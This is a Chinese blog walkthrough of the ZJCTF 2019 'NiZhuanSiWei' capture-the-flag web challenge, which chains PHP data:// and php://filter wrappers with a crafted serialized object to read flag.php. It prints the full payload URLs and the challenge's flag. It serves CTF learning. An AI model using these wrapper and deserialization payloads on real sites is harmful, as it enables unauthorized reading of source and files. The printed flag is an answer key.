首页 > 其他分享 >[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

时间:2024-10-13 17:10:37浏览次数:6  
标签:ZJCTF text NiZhuanSiWei zjctf flag 2019 useless file php

启动靶机,查看源代码

查询file_get_contents()函数 这里传入的text必须是个文件且文件内容为welcome to the zjctf

这里我们使用data伪协议将内容写入
?text=data://text/plain,welcome to the zjctf
往下看有个正则表达式过滤flag,继续往下

很明显是php的反序列化利用,却没有看到利用类的构造代码,正则过滤了flag.php,我们只能尝试访问useless.php

利用?text=data://text/plain,welcome to the zjctf &file=useless.php没反应
尝试filter伪协议读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

解码后得到useless.php

到这里逻辑就清晰了,因为反序列化在正则表达式后,我们只需在反序列化时将file值赋为flag.php,再利用__tostring函数在echo时自动调用的特性将flag.php打印出来

构造如下,只需对file变量赋值 得到 O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

最终payload:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码发现flag flag{17e56d67-d376-4aeb-8de3-a411874f6256}

标签:ZJCTF,text,NiZhuanSiWei,zjctf,flag,2019,useless,file,php
From: https://www.cnblogs.com/m1saka1/p/18462583

相关文章

  • pwn-4.ciscn_2019_n_11
    拿到题后我们先checksec一下,发现有NX,但是下面没有开启PIE,但是我还是尝试了一下,万一可以直接连接呢出现的结果如下,Itsvalueshouldbe11.28125这里我们应该备受关注一下,后面可能会遇到,紧接着我们就IDA一下吧出现如下图片,我们shift+F12看一下,出现了cat/flag,这个肯......
  • VS2019/2022配置C++ OpenCV4.10.0环境
    一、下载opencv4.10.0官网链接:https://opencv.org/ 安装的时候记住安装路径,本人安装到E盘 二、新建C++项目1、本人新建C++/CLR.Netframework项目 2、右击打开C++项目属性2.1、添加包含目录 此处本人配置的是绝对地址,拷贝build文件夹到程序目录,然后配置相对地......
  • 2019-6-23-win10-uwp-应用放到桌面
    titleauthordateCreateTimecategorieswin10uwp应用放到桌面lindexi2019-06-2311:11:30+08002019-06-2311:10:16+0800Win10UWP我们的UWP应用只能从开始菜单打开,我们想要让他可以从桌面打开,需要创快捷键,下面一个简单方式创建快捷键。打开运行win+R,输入shell:AppsFolder打开应......
  • 2019-7-12-wpf-VisualBrush-已知问题
    titleauthordateCreateTimecategorieswpfVisualBrush已知问题lindexi2019-7-1221:7:41+08002018-2-1317:23:3+0800WPF本文告诉大家,visualBrush已知bug,希望大家使用VisualBrush时可以知道如果把VisualBrush绑定的是在元素加入到视觉树前,那么在元素加入到视觉树之后移除......
  • 2019-3-1-获取-Nuget-版本号
    titleauthordateCreateTimecategories获取Nuget版本号lindexi2019-3-19:27:6+08002019-02-2515:51:48+0800nuget本文告诉大家通过命令行获取Nuget的版本号在Nuget中没有-version和-v和--version等写法,只需要直接输入nuget在第一行就会显示版本号nugetNuGetVers......
  • 2019-8-31-C#-获取-PC-序列号
    titleauthordateCreateTimecategoriesC#获取PC序列号lindexi2019-08-3116:55:58+08002018-7-3010:31:9+0800dotnetC#WMI在C++需要使用GetSystemFirmwareTable的方法来获得PC的序列号,需要写的代码很多,但是在C#可以使用WMI来拿到序列号首先是安装System.Manageme......